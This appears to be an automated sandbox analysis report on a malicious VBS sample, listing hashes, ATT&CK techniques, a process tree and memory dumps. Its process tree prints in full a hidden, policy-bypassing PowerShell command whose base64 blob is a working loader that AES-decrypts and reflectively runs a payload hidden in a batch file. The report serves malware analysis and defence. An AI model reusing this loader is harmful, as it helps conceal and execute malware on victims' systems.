79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c

General

Target

79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c.vbs
Size

78KB
MD5

7d6d78a570ec3a06ed4951b100bae952
SHA1

2e10134fc256a1bfe57862f69c83fc7f93949897
SHA256

79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c
SHA512

4508aff8dac72984d66f3eb5ef4eac52f120428a9fa9c0e278fa6f0284aa3a1b88dc88842732855e508ecbfa5ef437a21f01a65b992031f62c892123414377b9
SSDEEP

1536:+GZt0fSE6gUXAXbAiCsj9O4THNXQ4evC65EmJx7gjGSq2FjqGJDvHA/goVP8nJ:+xbv44DNXQxvC66oxiq9+Dvyg2P8nJ

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2940	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2940	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 2444	2424	WScript.exe	28
PID 2424 wrote to memory of 2444	2424	WScript.exe	28
PID 2424 wrote to memory of 2444	2424	WScript.exe	28
PID 2444 wrote to memory of 1312	2444	cmd.exe	30
PID 2444 wrote to memory of 1312	2444	cmd.exe	30
PID 2444 wrote to memory of 1312	2444	cmd.exe	30
PID 1312 wrote to memory of 2940	1312	cmd.exe	32
PID 1312 wrote to memory of 2940	1312	cmd.exe	32
PID 1312 wrote to memory of 2940	1312	cmd.exe	32
PID 1312 wrote to memory of 2940	1312	cmd.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\79d97c2eba527a05d8cda6cec044210589b077f52e421753680d60c43307cf2c.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1312
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZ3ZpcnQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGd2aXJ0KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRndmlydCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRndmlydCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZ3ZpcnQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gYWtrbHgoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JYQjlnQlA2NnVsYVdRVGk5Qm14ZG5rcFVTem9LWlZlQ1dqNEVoZFN6Wjg9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3EycEpvR3BFcWZjcVpvdGNCdFl4V2c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga29rdmkoJHBhcmFtX3Zhcil7CSR6am5peD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkdHduanQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdG90c2c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkempuaXgsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRvdHNnLkNvcHlUbygkdHduanQpOwkkdG90c2cuRGlzcG9zZSgpOwkkempuaXguRGlzcG9zZSgpOwkkdHduanQuRGlzcG9zZSgpOwkkdHduanQuVG9BcnJheSgpO31mdW5jdGlvbiBtcWxweigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHFndG56PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGlraWVrPSRxZ3Ruei5FbnRyeVBvaW50OwkkaWtpZWsuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGd2aXJ0OyRsb3J3cj1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGd2aXJ0KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbnFtIGluICRsb3J3cikgewlpZiAoJG5xbS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHd4enNpPSRucW0uU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JG91dmpoPVtzdHJpbmdbXV0kd3h6c2kuU3BsaXQoJ1wnKTskdHZjZGU9a29rdmkgKGFra2x4IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG91dmpoWzBdKSkpOyRzYmJ1Yz1rb2t2aSAoYWtrbHggKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkb3V2amhbMV0pKSk7bXFscHogJHR2Y2RlICRudWxsO21xbHB6ICRzYmJ1YyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ELu1xjIqz.bat

Filesize
70KB

MD5
7deb78f3e137a6b335adb9023c1f78c3

SHA1
0cf3f6c7f64125526bcaa23b952f5c35b8029b79

SHA256
48e34f1082c5ccef3ce344cccb3bb1aecb2f3d6de722b72465c6d07126e3e65f

SHA512
64b701544b51d6a82e828e0144f67ced26e26ded528b1ff66c07f47d27b990a5558d56883d1a1709b9cb140c45987974ab7f8cd84dee1c1b9743f56173a46400

Download Submit
memory/2940-13-0x0000000074301000-0x0000000074302000-memory.dmp

Filesize
4KB

Download
memory/2940-14-0x0000000074300000-0x00000000748AB000-memory.dmp

Filesize
5.7MB

Download
memory/2940-15-0x0000000074300000-0x00000000748AB000-memory.dmp

Filesize
5.7MB

Download
memory/2940-16-0x0000000074300000-0x00000000748AB000-memory.dmp

Filesize
5.7MB

Download
memory/2940-17-0x0000000074300000-0x00000000748AB000-memory.dmp

Filesize
5.7MB

Download
memory/2940-18-0x0000000074300000-0x00000000748AB000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing